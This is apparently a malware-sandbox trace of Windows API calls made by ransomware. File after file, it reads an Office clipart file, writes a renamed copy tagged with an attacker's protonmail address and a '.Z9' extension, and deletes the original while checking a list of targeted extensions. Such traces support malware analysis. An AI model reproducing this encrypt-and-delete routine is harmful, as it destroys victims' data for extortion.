	[0169.957] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.957] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.958] GetLastError () returned 0x0
	[0169.958] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1214, lpOverlapped=0x0) returned 1
	[0169.959] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0169.961] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.961] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.961] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.961] CloseHandle (hObject=0x4a8) returned 1
	[0169.961] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.961] SetEndOfFile (hFile=0x4a4) returned 1
	[0169.963] CloseHandle (hObject=0x4a4) returned 1
	[0169.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1
	[0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.965] lstrlenW (lpString=".doc") returned 4
	[0169.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.965] lstrlenW (lpString=".docx") returned 5
	[0169.965] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.965] lstrlenW (lpString=".pdf") returned 4
	[0169.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.965] lstrlenW (lpString=".xls") returned 4
	[0169.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.965] lstrlenW (lpString=".xlsx") returned 5
	[0169.965] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.965] lstrlenW (lpString=".ppt") returned 4
	[0169.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.965] lstrlenW (lpString=".zip") returned 4
	[0169.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.965] lstrlenW (lpString=".rar") returned 4
	[0169.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.965] lstrlenW (lpString=".bz2") returned 4
	[0169.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.965] lstrlenW (lpString=".7z") returned 3
	[0169.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.965] lstrlenW (lpString=".dbf") returned 4
	[0169.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.965] lstrlenW (lpString=".1cd") returned 4
	[0169.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.965] lstrlenW (lpString=".jpg") returned 4
	[0169.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.966] lstrlenW (lpString=".doc") returned 4
	[0169.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.966] lstrlenW (lpString=".docx") returned 5
	[0169.966] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.966] lstrlenW (lpString=".pdf") returned 4
	[0169.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.966] lstrlenW (lpString=".xls") returned 4
	[0169.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.966] lstrlenW (lpString=".xlsx") returned 5
	[0169.966] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.966] lstrlenW (lpString=".ppt") returned 4
	[0169.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.966] lstrlenW (lpString=".zip") returned 4
	[0169.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.966] lstrlenW (lpString=".rar") returned 4
	[0169.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.966] lstrlenW (lpString=".bz2") returned 4
	[0169.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.966] lstrlenW (lpString=".7z") returned 3
	[0169.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.966] lstrlenW (lpString=".dbf") returned 4
	[0169.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.966] lstrlenW (lpString=".1cd") returned 4
	[0169.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0169.966] lstrlenW (lpString=".jpg") returned 4
	[0169.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.966] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.967] lstrlenW (lpString="J0105280.WMF") returned 12
	[0169.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.968] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=11540) returned 1
	[0169.968] CloseHandle (hObject=0x4a4) returned 1
	[0169.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220
	[0169.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.968] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.968] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.972] GetLastError () returned 0x0
	[0169.973] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2d14, lpOverlapped=0x0) returned 1
	[0169.974] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2d20, lpOverlapped=0x0) returned 1
	[0169.976] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.976] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.976] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.976] CloseHandle (hObject=0x4a8) returned 1
	[0169.976] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.976] SetEndOfFile (hFile=0x4a4) returned 1
	[0169.979] CloseHandle (hObject=0x4a4) returned 1
	[0169.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1
	[0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.981] lstrlenW (lpString=".doc") returned 4
	[0169.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.981] lstrlenW (lpString=".docx") returned 5
	[0169.981] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.981] lstrlenW (lpString=".pdf") returned 4
	[0169.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.981] lstrlenW (lpString=".xls") returned 4
	[0169.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.981] lstrlenW (lpString=".xlsx") returned 5
	[0169.981] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.981] lstrlenW (lpString=".ppt") returned 4
	[0169.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.981] lstrlenW (lpString=".zip") returned 4
	[0169.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.981] lstrlenW (lpString=".rar") returned 4
	[0169.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.981] lstrlenW (lpString=".bz2") returned 4
	[0169.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.981] lstrlenW (lpString=".7z") returned 3
	[0169.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.981] lstrlenW (lpString=".dbf") returned 4
	[0169.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.981] lstrlenW (lpString=".1cd") returned 4
	[0169.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.981] lstrlenW (lpString=".jpg") returned 4
	[0169.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.982] lstrlenW (lpString=".doc") returned 4
	[0169.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.982] lstrlenW (lpString=".docx") returned 5
	[0169.982] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.982] lstrlenW (lpString=".pdf") returned 4
	[0169.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.982] lstrlenW (lpString=".xls") returned 4
	[0169.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.982] lstrlenW (lpString=".xlsx") returned 5
	[0169.982] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.982] lstrlenW (lpString=".ppt") returned 4
	[0169.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.982] lstrlenW (lpString=".zip") returned 4
	[0169.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.982] lstrlenW (lpString=".rar") returned 4
	[0169.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.982] lstrlenW (lpString=".bz2") returned 4
	[0169.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.982] lstrlenW (lpString=".7z") returned 3
	[0169.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.982] lstrlenW (lpString=".dbf") returned 4
	[0169.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.982] lstrlenW (lpString=".1cd") returned 4
	[0169.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0169.982] lstrlenW (lpString=".jpg") returned 4
	[0169.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.983] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.983] lstrlenW (lpString="J0105282.WMF") returned 12
	[0169.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.983] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4796) returned 1
	[0169.983] CloseHandle (hObject=0x4a4) returned 1
	[0169.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220
	[0169.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.984] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.984] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.985] GetLastError () returned 0x0
	[0169.985] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0169.987] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0169.988] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.988] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.988] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.988] CloseHandle (hObject=0x4a8) returned 1
	[0169.988] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.988] SetEndOfFile (hFile=0x4a4) returned 1
	[0169.991] CloseHandle (hObject=0x4a4) returned 1
	[0169.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1
	[0169.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.992] lstrlenW (lpString=".doc") returned 4
	[0169.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString=".docx") returned 5
	[0169.993] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.993] lstrlenW (lpString=".pdf") returned 4
	[0169.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString=".xls") returned 4
	[0169.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.993] lstrlenW (lpString=".xlsx") returned 5
	[0169.993] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.993] lstrlenW (lpString=".ppt") returned 4
	[0169.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.993] lstrlenW (lpString=".zip") returned 4
	[0169.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.993] lstrlenW (lpString=".rar") returned 4
	[0169.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString=".bz2") returned 4
	[0169.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString=".7z") returned 3
	[0169.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.993] lstrlenW (lpString=".dbf") returned 4
	[0169.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.993] lstrlenW (lpString=".1cd") returned 4
	[0169.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.993] lstrlenW (lpString=".jpg") returned 4
	[0169.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.993] lstrlenW (lpString=".doc") returned 4
	[0169.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.993] lstrlenW (lpString=".docx") returned 5
	[0169.993] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.993] lstrlenW (lpString=".pdf") returned 4
	[0169.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.994] lstrlenW (lpString=".xls") returned 4
	[0169.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.994] lstrlenW (lpString=".xlsx") returned 5
	[0169.994] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.994] lstrlenW (lpString=".ppt") returned 4
	[0169.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.994] lstrlenW (lpString=".zip") returned 4
	[0169.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.994] lstrlenW (lpString=".rar") returned 4
	[0169.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.994] lstrlenW (lpString=".bz2") returned 4
	[0169.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.994] lstrlenW (lpString=".7z") returned 3
	[0169.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.994] lstrlenW (lpString=".dbf") returned 4
	[0169.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.994] lstrlenW (lpString=".1cd") returned 4
	[0169.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0169.994] lstrlenW (lpString=".jpg") returned 4
	[0169.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.994] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.994] lstrlenW (lpString="J0105286.WMF") returned 12
	[0169.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.995] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=6568) returned 1
	[0169.995] CloseHandle (hObject=0x4a4) returned 1
	[0169.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220
	[0169.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
